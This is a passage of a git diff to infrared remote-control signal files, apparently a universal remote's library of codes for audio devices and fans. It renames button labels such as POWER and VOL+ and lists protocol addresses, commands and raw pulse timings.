809 224 812 252 784 249 1823 275 1798 279 43880 281 782 251 1821 277 760 273 789 244 818 246 790 253 808 246 791 252 809 224 1822 275 1797 280 1819 248 1825 273 790 253 808 246 # -name: POWER +name: Power type: parsed protocol: NECext address: 87 7C 00 00 command: 80 7F 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 87 7C 00 00 command: 88 77 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 87 7C 00 00 command: 8C 73 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 87 7C 00 00 command: 94 6B 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: D2 6C 00 00 command: CB 34 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: D2 6D 00 00 command: 02 FD 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: D2 6D 00 00 command: 03 FC 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: D2 6D 00 00 command: 05 FA 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: D2 03 00 00 command: 04 FB 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: D2 03 00 00 command: 02 FD 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: D2 03 00 00 command: 03 FC 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: D2 03 00 00 command: 05 FA 00 00 # -name: POWER +name: Power type: parsed protocol: RC5 address: 14 00 00 00 command: 0C 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: RC5 address: 14 00 00 00 command: 11 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: RC5 address: 14 00 00 00 command: 10 00 00 00 # -name: POWER +name: Power type: parsed protocol: SIRC15 address: 10 00 00 00 command: 60 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: SIRC15 address: 30 00 00 00 command: 12 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: SIRC15 address: 30 00 00 00 command: 13 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: SIRC15 address: 10 00 00 00 command: 12 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: SIRC15 address: 10 00 00 00 command: 13 00 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 7E 81 00 00 command: 2A D4 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 7A 85 00 00 command: 1C E2 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 78 00 00 00 command: 0F 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 78 00 00 00 command: 4F 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 7A 00 00 00 command: 1A 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 7A 00 00 00 command: 1B 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 7A 85 00 00 command: 1A E4 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 7A 85 00 00 command: 1B E5 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 78 00 00 00 command: 1E 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 78 00 00 00 command: 1F 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: RC5X address: 0A 00 00 00 command: 2F 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 00 00 00 00 command: 15 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 8437 4188 538 1565 539 1565 539 513 544 508 538 513 544 1559 545 507 539 1564 540 1564 540 1563 541 1563 541 511 546 1557 547 505 542 511 546 505 542 20497 597 1507 545 1559 545 507 539 512 545 507 539 1564 540 512 545 1558 546 1558 546 1558 546 1557 547 505 542 1562 542 510 547 505 542 510 547 20492 540 1564 540 1564 540 512 545 506 540 511 546 1558 546 505 542 1562 542 1562 542 1562 542 1561 543 509 548 1555 538 514 543 509 537 514 543 20495 547 1558 546 1557 547 505 541 511 546 505 542 1562 542 510 547 1556 548 1556 548 1556 548 1556 537 514 543 1560 544 508 538 514 543 508 538 20501 541 1562 542 1562 542 510 547 505 541 510 547 1556 548 504 543 1561 543 1561 543 1560 544 1560 544 508 538 1565 539 513 544 507 539 513 544 20494 548 1556 548 1556 548 504 543 509 548 504 543 1560 544 508 539 1565 539 1565 539 1564 540 1564 540 512 545 1559 545 506 540 512 545 506 540 20499 543 1560 544 1560 544 508 539 513 544 508 538 1564 540 512 545 1559 545 1558 546 1558 546 1558 546 506 541 1563 541 510 547 505 542 510 547 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 8430 4194 542 1562 542 1562 542 510 547 505 541 510 547 1556 548 504 542 1561 543 509 548 1556 548 1556 548 1556 548 1556 548 504 542 509 537 514 543 20496 545 1559 545 1559 545 507 539 512 545 507 539 1564 540 512 545 1559 545 507 539 1564 540 1564 540 1563 541 1563 541 511 546 506 540 511 546 20494 546 1557 547 1557 547 505 541 510 547 505 541 1562 542 510 547 1556 548 505 541 1562 542 1562 542 1561 543 1561 543 509 548 504 542 509 537 20501 540 1565 539 1565 539 512 545 507 539 512 545 1559 545 507 539 1564 540 512 545 1559 545 1558 546 1558 546 1558 546 506 540 511 546 506 540 20498 543 1562 542 1562 542 510 547 505 541 510 547 1557 547 505 541 1562 542 509 548 1556 548 1556 548 1556 548 1556 548 504 542 509 548 504 542 20497 543 1560 544 1560 544 508 538 513 544 508 538 1565 539 513 544 1560 544 508 538 1565 539 1565 539 1565 539 1564 540 513 544 507 539 512 545 20495 545 1558 546 1558 546 506 540 511 546 506 540 1563 541 511 546 1558 546 506 540 1563 541 1563 541 1563 541 1562 542 510 547 505 541 510 547 20493 548 1556 548 1556 548 504 542 509 548 504 542 1561 543 509 537 1566 538 514 543 1560 544 1560 544 1560 544 1560 544 508 538 513 544 508 538 20501 539 1564 540 1564 540 512 545 507 539 512 545 1559 545 507 539 1564 540 512 545 1559 545 1558 546 1558 546 1558 546 506 540 511 546 506 540 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 8434 4191 545 1559 545 1559 545 534 512 513 544 507 539 1564 540 538 519 1559 545 1558 546 1558 546 1558 546 1558 546 1558 546 533 513 511 546 506 540 19446 547 1557 547 1557 547 532 514 511 546 532 514 1562 593 459 546 1557 547 1557 547 1557 547 1557 547 1557 547 1557 547 531 515 510 547 505 541 19446 548 1556 548 1556 548 530 516 509 548 504 543 1561 543 535 512 1566 538 1565 539 1565 539 1565 539 1565 539 1565 539 540 517 509 537 514 543 19444 539 1565 539 1565 539 513 544 508 538 513 544 1559 545 534 512 1564 540 1564 540 1564 540 1564 540 1564 540 1564 540 539 518 507 539 513 544 19442 541 1563 541 1563 541 538 519 507 539 512 545 1558 546 506 540 1563 541 1563 541 1563 541 1563 541 1563 541 1562 542 537 520 505 541 511 546 19440 595 1509 543 1561 543 536 521 504 542 509 548 1555 538 540 517 1560 544 1560 544 1560 544 1560 544 1560 544 1560 544 534 512 513 544 508 538 19448 546 1559 545 1559 545 533 513 512 545 507 539 1563 541 538 519 1558 546 1558 546 1558 546 1557 547 1558 546 1558 546 533 513 512 545 506 540 19447 546 1557 547 1557 547 532 514 511 546 506 540 1562 542 537 520 1557 547 1557 547 1557 547 1557 547 1557 547 1557 547 505 542 510 547 505 541 19445 548 1556 548 1556 548 531 515 510 547 504 542 1561 543 536 521 1555 538 1566 538 1566 538 1566 538 1566 538 1565 539 514 543 509 537 514 543 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 8435 4189 547 1557 547 1557 547 505 541 510 547 505 541 1562 542 510 547 1557 547 505 541 510 547 1557 546 1557 547 1557 547 505 541 510 547 505 541 21550 547 1558 545 1558 546 506 540 511 546 506 540 1563 541 511 546 1558 545 506 540 511 546 1558 546 1558 546 1558 546 506 540 511 546 506 540 21551 546 1558 546 1558 546 506 540 512 545 506 540 1563 540 512 545 1558 546 506 540 512 545 1558 546 1558 546 1558 546 506 540 512 545 506 540 21551 546 1559 545 1559 545 507 539 512 545 507 539 1564 539 512 545 1559 545 507 539 512 545 1559 545 1559 545 1559 545 507 539 512 545 507 539 21552 545 1559 545 1559 545 507 539 513 544 507 539 1564 540 512 545 1559 545 507 539 512 545 1559 545 1559 545 1559 545 507 539 512 545 507 539 21552 545 1559 545 1559 545 507 539 513 544 507 539 1565 538 513 544 1559 545 507 539 513 544 1559 545 1559 544 1559 545 534 512 513 544 507 539 21553 544 1560 544 1560 544 534 512 513 544 508 538 1565 539 539 518 1560 544 534 512 513 544 1560 544 1560 544 1560 544 534 512 513 544 508 538 # -name: POWER +name: Power type: parsed protocol: NEC address: 20 00 00 00 command: 41 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 20 00 00 00 command: 42 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 20 00 00 00 command: 43 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 20 00 00 00 command: 1B 00 00 00 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 8498 4205 651 1471 576 530 550 1572 547 535 545 536 544 1578 541 540 550 1572 547 535 545 1576 543 539 541 1580 549 1572 547 534 546 1576 543 539 541 540 550 1571 548 533 547 1574 545 537 543 539 541 541 549 532 548 1574 545 536 544 1578 541 540 550 1571 548 1572 547 1574 545 1576 543 26533 8497 4203 653 1468 569 538 542 1579 550 531 549 533 547 1573 546 535 545 1576 543 538 542 1579 550 531 549 1571 548 1573 546 536 544 1576 543 539 541 540 550 1571 548 533 547 1574 545 536 544 538 542 540 550 530 550 1572 547 534 546 1575 544 537 543 1578 541 1579 550 1570 549 1572 547 26524 8496 4207 576 1570 549 533 547 1574 545 537 543 539 541 1580 549 532 548 1573 546 536 544 1577 542 539 551 1570 549 1572 547 534 546 1575 544 538 542 540 550 1571 548 534 546 1575 544 538 542 540 550 531 549 533 547 1575 544 537 543 1579 550 531 549 1571 548 1572 547 1574 545 1576 543 26529 8491 4211 573 1573 546 535 545 1576 543 539 551 530 550 1571 548 533 547 1574 545 536 544 1578 541 540 550 1570 549 1572 547 534 546 1575 544 538 542 539 541 1580 549 532 548 1572 547 535 545 537 543 539 541 540 550 1571 548 533 547 1574 545 537 543 1578 541 1579 550 1571 548 1574 545 26522 8498 4202 571 1574 545 537 543 1578 541 541 549 532 548 1573 546 534 546 1575 544 537 543 1577 542 540 550 1570 549 1571 548 533 547 1574 545 537 543 538 542 1579 550 531 549 1572 547 534 546 536 544 537 543 538 542 1579 550 531 549 1572 547 535 545 1575 544 1577 542 1579 550 1571 548 26522 8498 4203 570 1575 544 537 543 1578 541 541 549 532 548 1573 546 535 545 1575 544 538 542 1579 550 531 549 1571 548 1572 547 535 545 1575 544 538 542 539 541 1580 549 532 548 1572 547 534 546 536 544 537 543 539 541 1579 550 531 549 1571 548 533 547 1573 546 1574 545 1575 544 1577 542 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 8490 4211 573 1573 546 535 545 1576 543 539 541 540 550 1571 548 532 548 1573 546 535 545 1576 543 539 541 1579 550 1571 548 533 547 1574 545 536 544 1576 543 1578 541 540 550 1570 549 533 547 534 546 536 544 537 543 539 541 540 550 1570 549 532 548 1572 547 1573 546 1574 545 1576 543 26528 8492 4208 648 1475 572 534 546 1575 544 537 543 539 541 1580 549 532 548 1573 546 535 545 1576 543 538 542 1579 550 1571 548 533 547 1575 544 537 543 1577 542 1579 550 532 548 1573 546 535 545 537 543 539 541 541 549 532 548 533 547 1575 544 537 543 1578 541 1579 550 1571 548 1573 546 26523 8496 4203 622 1499 569 537 543 1578 541 541 549 532 548 1572 547 534 546 1574 545 537 543 1578 541 540 550 1570 549 1571 548 534 546 1575 544 538 542 1578 541 1580 549 532 548 1573 546 536 544 538 542 540 550 532 548 533 547 535 545 1576 543 539 541 1579 550 1571 548 1573 546 1574 545 26521 8498 4201 572 1573 546 536 544 1577 542 540 550 531 549 1571 548 533 547 1573 546 536 544 1576 543 539 541 1579 550 1570 549 532 548 1573 546 535 545 1576 543 1578 541 540 550 1571 548 533 547 535 545 537 543 538 542 540 550 531 549 1572 547 534 546 1575 544 1576 543 1577 542 1579 550 26522 8498 4203 570 1575 544 538 542 1579 550 532 548 533 547 1575 544 537 543 1578 541 540 550 1570 549 533 547 1573 546 1575 544 537 543 1578 541 540 550 1571 548 1573 546 536 544 1578 551 531 549 533 547 535 545 537 543 539 541 540 550 1571 548 533 547 1575 544 1576 543 1578 541 1580 549 26521 8498 4203 570 1576 543 538 542 1580 549 532 548 533 547 1574 545 536 544 1577 542 540 550 1570 549 533 547 1573 546 1575 544 538 542 1579 550 531 549 1571 548 1573 546 536 544 1576 543 539 551 531 549 532 548 534 546 536 544 538 542 1579 550 531 549 1572 547 1573 546 1574 545 1576 543 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 8500 4203 653 1468 569 538 542 1579 550 532 548 534 546 1575 544 536 544 1578 541 540 550 1572 547 534 546 1575 544 1577 542 539 541 1580 550 532 548 534 546 535 545 1576 543 1577 542 1579 551 532 548 534 546 536 544 1577 542 1578 552 531 549 533 547 534 546 1574 545 1575 544 1577 542 26533 8492 4211 573 1573 546 535 545 1576 543 539 551 530 550 1571 548 533 547 1574 545 536 544 1577 542 540 550 1570 549 1572 547 534 546 1576 543 539 541 541 549 532 548 1573 546 1574 545 1576 543 539 551 531 549 533 547 1573 546 1576 543 539 541 541 549 532 548 1573 546 1574 545 1576 543 26532 8493 4209 575 1571 548 533 547 1575 544 537 543 539 541 1580 550 531 549 1572 547 534 546 1576 543 538 542 1579 551 1570 549 532 548 1574 545 537 543 538 542 540 550 1570 549 1572 547 1575 544 537 543 539 541 540 550 1571 548 1573 546 536 544 538 542 539 551 1570 549 1572 547 1574 545 26530 8496 4207 567 1579 551 531 549 1572 547 535 545 536 544 1576 543 538 542 1579 551 530 550 1571 548 534 546 1574 545 1576 543 538 542 1579 551 532 548 533 547 534 546 1576 543 1577 542 1579 551 532 548 534 546 535 545 1576 543 1578 541 540 550 532 548 533 547 1574 545 1575 544 1577 542 26531 8495 4210 574 1571 548 534 546 1575 544 538 542 539 551 1569 550 531 549 1572 547 535 545 1576 543 539 541 1579 550 1571 548 534 546 1575 544 538 542 540 550 531 549 1572 547 1549 570 1551 568 539 551 531 549 532 548 1573 546 1550 569 538 542 540 550 531 549 1571 548 1548 571 1550 569 # -name: POWER +name: Power type: parsed protocol: NECext address: 00 EF 00 00 command: 1C E3 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 00 EF 00 00 command: 00 FF 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 00 EF 00 00 command: 04 FB 00 00 # -name: POWER +name: Power type: parsed protocol: NEC42 address: 6E 00 00 00 command: 00 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC42 address: 6E 00 00 00 command: 4D 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC42 address: 6E 00 00 00 command: 4E 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC42 address: 6E 00 00 00 command: 0E 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 8441 4184 542 1562 541 1562 542 511 546 506 540 511 546 1557 546 506 540 1563 541 1563 540 1563 541 512 545 507 539 512 545 507 539 512 545 507 539 22605 538 1565 539 1565 538 514 543 509 537 514 543 1560 543 509 548 1555 548 1556 548 1556 547 504 542 510 547 505 541 510 547 505 541 510 547 22597 546 1559 544 1559 545 507 539 513 544 507 539 1564 539 513 544 1559 544 1559 545 545 508 549 513 508 538 513 544 508 538 513 544 22601 542 1562 542 1561 543 510 547 505 541 510 547 1557 547 505 541 1562 542 1562 542 1562 542 510 547 505 541 510 547 505 541 511 546 505 541 22603 540 1564 539 1565 538 513 544 508 538 513 544 1560 544 508 538 1565 538 1565 538 1566 537 514 543 509 548 504 542 509 548 504 542 509 548 22597 546 1558 546 1558 546 506 540 512 545 507 539 1564 540 512 545 1559 545 1559 544 1559 544 507 539 513 544 508 538 513 544 508 538 513 544 22600 543 1561 542 1562 542 510 547 505 541 510 547 1557 547 505 541 1562 541 1563 540 1563 541 511 546 506 540 511 546 506 540 511 546 506 540 22604 539 1565 538 1566 537 514 543 509 548 504 542 1561 543 509 548 1556 548 1556 548 1556 547 504 542 510 547 505 541 510 547 505 541 510 547 22598 545 1559 544 1559 545 507 539 512 545 507 539 1564 540 512 545 1559 544 1559 545 1559 545 508 538 513 544 508 538 513 544 508 538 513 544 22601 542 1562 542 1562 542 511 546 505 541 511 546 1557 546 506 540 1563 541 1563 540 1563 541 511 546 506 540 511 546 506 540 512 545 506 540 22604 539 1565 538 1566 537 514 543 509 548 504 542 1561 543 509 548 1556 547 1556 547 1556 548 504 542 510 547 505 541 510 547 505 541 510 547 # -name: POWER +name: Power type: parsed protocol: SIRC address: 10 00 00 00 command: 60 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 08 00 00 00 command: 0E 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 08 00 00 00 command: 1A 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 00 00 00 00 command: 57 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 4D 00 00 00 command: 04 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 4D 00 00 00 command: 05 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 4D 00 00 00 command: 02 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 4D 00 00 00 command: 03 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 4D 00 00 00 command: 00 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 00 00 00 00 command: 19 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 00 00 00 00 command: 16 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 00 00 00 00 command: 44 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 12 36 00 00 command: 0A F5 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 12 36 00 00 command: 0B F4 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 12 36 00 00 command: 09 F6 00 00 # -name: POWER +name: Power type: parsed protocol: NECext address: 12 36 00 00 command: 01 FE 00 00 # # OFF -name: POWER +name: Power type: parsed protocol: RC5 address: 10 00 00 00 command: 0F 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 00 00 00 00 command: 02 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 00 00 00 00 command: 0A 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 00 00 00 00 command: 0E 00 00 00 # -name: POWER +name: Power type: parsed protocol: SIRC address: 0F 00 00 00 command: 15 00 00 00 # -name: POWER +name: Power type: parsed protocol: Samsung32 address: 10 00 00 00 command: 1E 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: Samsung32 address: 10 00 00 00 command: 17 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: Samsung32 address: 10 00 00 00 command: 16 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: Samsung32 address: 10 00 00 00 command: 1F 00 00 00 # -name: POWER +name: Power type: parsed protocol: Kaseikyo address: 51 54 32 01 command: 03 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: Kaseikyo address: 51 54 32 01 command: 04 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: Kaseikyo address: 51 54 32 01 command: 05 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: Kaseikyo address: 51 54 32 01 command: 06 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 4567 4454 549 481 522 481 523 480 498 506 498 1509 499 1509 523 480 499 505 523 1484 523 1484 523 1485 521 1487 520 484 519 485 519 485 519 471 519 4488 518 485 519 485 518 485 519 485 518 485 519 485 519 485 519 485 519 1489 519 1489 518 1489 518 485 519 1489 518 1490 518 1490 517 1490 518 486 518 486 518 486 518 1490 518 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 4571 4453 552 478 525 478 526 478 500 504 500 1507 501 1506 526 478 525 477 526 1481 526 1481 526 1482 524 1483 523 481 522 482 521 481 522 468 522 4484 521 482 521 482 521 482 522 481 522 1486 521 1486 521 1486 521 482 521 1486 522 1486 522 1486 522 482 522 482 522 482 522 482 522 1486 522 483 521 482 521 483 521 1487 521 55474 4547 4477 524 479 524 480 524 480 523 480 523 1485 523 1484 524 481 523 481 523 1485 523 1485 522 1485 523 1485 523 480 524 480 524 481 523 467 524 4484 523 481 523 481 523 481 523 481 523 1485 523 1485 523 1485 523 481 523 1485 523 1485 523 1485 523 481 523 481 523 481 523 481 523 1485 523 481 523 481 523 481 523 1486 522 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 4572 4453 552 456 548 479 524 479 500 504 500 1482 526 1482 551 478 526 478 525 1483 524 1484 523 1486 521 1487 521 483 521 483 521 483 521 470 520 4487 521 483 521 483 521 483 521 483 521 483 521 483 521 483 521 1488 520 1488 520 1488 520 1488 520 483 521 1488 520 1488 520 1488 520 483 521 483 521 483 521 483 521 1488 520 55457 4565 4483 521 483 521 483 521 483 521 483 520 1488 520 1487 521 483 521 483 520 1488 520 1488 520 1488 520 1488 520 483 520 484 520 484 520 470 521 4487 520 484 520 483 520 484 520 484 520 484 520 484 519 484 520 1488 520 1488 520 1488 519 1488 520 484 520 1488 520 1488 520 1488 520 484 520 484 520 484 520 484 520 1489 519 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 4573 4451 552 477 527 478 526 477 526 478 501 1507 501 1506 502 502 527 477 526 1481 527 1481 527 1481 526 1482 525 479 524 480 523 481 523 468 523 4485 522 481 522 482 522 482 522 482 522 1486 522 482 521 482 522 482 522 1486 522 1486 522 1486 522 482 522 482 521 1487 521 1487 521 1487 521 482 521 483 521 483 521 1487 521 55462 4547 4474 524 478 525 479 524 480 523 480 523 1484 523 1484 523 480 523 480 523 1484 523 1484 524 1484 523 1485 522 480 523 480 524 480 523 467 523 4484 522 480 524 481 523 481 523 481 523 1485 523 481 522 481 523 481 523 1485 522 1485 523 1485 523 481 523 481 522 1485 522 1485 522 1485 523 481 522 481 522 481 523 1485 523 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 10 E7 00 00 command: 49 B6 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 10 E7 00 00 command: 05 FA 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 20 00 00 00 command: 50 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 00 00 00 00 command: 0C 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 00 00 00 00 command: 47 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 80 00 00 00 command: 02 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 80 00 00 00 command: 05 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: 80 00 00 00 command: 04 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC42 address: 6E 00 00 00 command: 4C 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: 01 00 00 00 command: 11 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: 01 00 00 00 command: 10 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 4555 4463 532 473 532 473 531 474 530 474 530 1478 531 1478 531 475 529 476 528 1482 551 1480 529 1480 528 1481 528 477 527 478 527 478 526 478 527 4498 526 477 527 477 527 478 526 478 526 478 526 478 526 478 527 478 526 1483 527 1483 526 1483 526 478 526 1483 527 1483 527 1483 526 1483 526 478 526 478 527 478 527 1484 526 55527 4527 4492 526 478 526 478 526 478 526 479 526 1483 527 1483 526 478 526 478 526 1483 527 1483 526 1483 526 1483 526 478 527 478 526 479 526 478 526 4497 526 478 526 478 526 478 526 478 526 478 526 478 526 478 526 478 526 1484 525 1483 526 1484 525 478 526 1484 525 1484 525 1484 525 1484 525 478 526 479 526 479 525 1484 525 # -name: VOL+ +name: Vol_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 4552 4463 531 474 530 474 530 474 530 474 530 1478 531 1478 531 475 529 476 553 1455 554 1478 530 1479 529 1481 527 477 527 478 526 478 526 478 526 4497 526 478 526 478 526 478 526 477 527 1483 526 1482 527 1482 527 478 526 1483 526 1483 526 1483 526 478 526 478 526 478 526 478 526 1483 526 478 526 478 526 478 526 1483 526 # -name: VOL- +name: Vol_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 325 50440 173 137541 4551 4465 530 475 529 475 529 474 530 474 530 1479 530 1479 529 476 528 477 527 1480 554 1457 551 1480 528 1481 527 477 527 478 526 478 526 478 526 4497 525 478 526 478 526 478 526 478 526 479 525 479 525 479 525 1484 525 1483 526 1484 525 1483 526 479 525 1483 526 1483 526 1483 526 479 525 479 525 479 525 479 525 1484 525 # -name: POWER +name: Power type: parsed protocol: NECext address: 30 FC 00 00 command: 10 EF 00 00 # -name: MUTE +name: Mute type: parsed protocol: NECext address: 30 FC 00 00 command: 0C F3 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 30 FC 00 00 command: 0D F2 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 30 FC 00 00 command: 17 E8 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 00 00 00 00 command: 04 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: FD 00 00 00 command: E2 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: NEC address: FD 00 00 00 command: E1 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: NEC address: FD 00 00 00 command: E7 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NEC address: FD 00 00 00 command: B9 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 2760 833 499 418 470 419 416 887 445 872 893 468 416 469 414 442 443 441 444 440 446 440 446 440 446 440 892 882 445 444 466 446 439 447 438 448 437 449 884 447 437 450 437 894 436 449 437 449 437 449 437 449 437 449 884 448 436 894 437 450 436 116126 2673 887 445 473 440 449 439 893 438 880 884 448 437 449 437 449 437 449 437 449 437 449 437 449 437 449 884 890 437 449 437 449 437 450 436 449 437 449 884 448 436 451 437 894 436 449 437 450 436 450 436 449 437 450 883 448 436 894 436 449 437 116123 2672 888 469 449 439 450 437 893 438 881 883 448 437 449 437 449 437 449 437 449 438 449 437 449 437 449 884 891 437 449 437 449 437 449 437 449 437 449 884 448 436 451 437 894 437 449 437 449 437 449 437 449 437 449 884 448 436 894 437 449 437 # -name: MUTE +name: Mute type: raw frequency: 38000 duty_cycle: 0.330000 data: 2701 861 496 420 445 444 444 885 446 871 892 441 444 441 444 441 471 415 471 415 470 417 467 444 440 446 883 891 436 449 437 449 437 450 436 450 436 449 883 448 437 451 436 894 436 450 436 450 436 450 436 450 436 450 882 449 436 894 883 116552 2698 862 469 448 438 449 438 894 437 880 884 448 437 449 437 448 438 449 437 449 437 449 437 449 437 449 884 890 437 449 437 449 437 449 437 449 437 449 884 448 437 450 437 893 437 449 437 449 437 449 437 449 437 449 884 448 436 894 883 # -name: VOL+ +name: Vol_up type: parsed protocol: NECext address: 10 E7 00 00 command: 3C C3 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: NECext address: 10 E7 00 00 command: 4D B2 00 00 # -name: POWER +name: Power type: parsed protocol: Kaseikyo address: 52 54 32 00 command: 83 00 00 00 # -name: MUTE +name: Mute type: parsed protocol: Kaseikyo address: 52 54 32 00 command: 86 00 00 00 # -name: VOL+ +name: Vol_up type: parsed protocol: Kaseikyo address: 52 54 32 00 command: 84 00 00 00 # -name: VOL- +name: Vol_dn type: parsed protocol: Kaseikyo address: 52 54 32 00 command: 85 00 00 00 # -name: POWER +name: Power type: parsed protocol: NEC address: 00 00 00 00 diff --git a/assets/resources/infrared/assets/fans.ir b/assets/resources/infrared/assets/fans.ir index a741daf8e..734de79e0 100644 --- a/assets/resources/infrared/assets/fans.ir +++ b/assets/resources/infrared/assets/fans.ir @@ -3,1532 +3,1532 @@ Version: 1 # Last Updated 17th May, 2023 # Last Checked 17th May, 2023 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1301 370 1299 371 558 1107 1301 371 1272 398 557 1108 562 1107 562 1107 561 1108 560 1110 559 1110 1272 7254 1269 423 1244 425 530 1140 1242 427 1241 428 527 1142 527 1142 527 1142 527 1142 527 1142 527 1142 1241 7285 1241 428 1241 428 528 1142 1240 428 1241 428 528 1142 527 1142 527 1142 527 1142 527 1142 527 1142 1240 7284 1240 428 1241 429 527 1142 1241 429 1240 429 527 1142 527 1142 528 1142 527 1142 527 1142 527 1142 1240 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1268 400 1267 424 505 1164 1243 426 1242 427 504 1166 503 1166 503 1166 528 1141 1242 428 503 1166 503 8024 1241 427 1241 428 528 1141 1241 428 1241 428 503 1166 503 1167 502 1167 527 1142 1241 428 503 1166 503 8024 1241 427 1242 427 504 1167 1241 428 1241 428 503 1167 503 1167 503 1166 528 1142 1242 428 503 1167 502 8024 1241 428 1241 428 503 1167 1241 428 1241 428 503 1167 503 1167 503 1167 503 1167 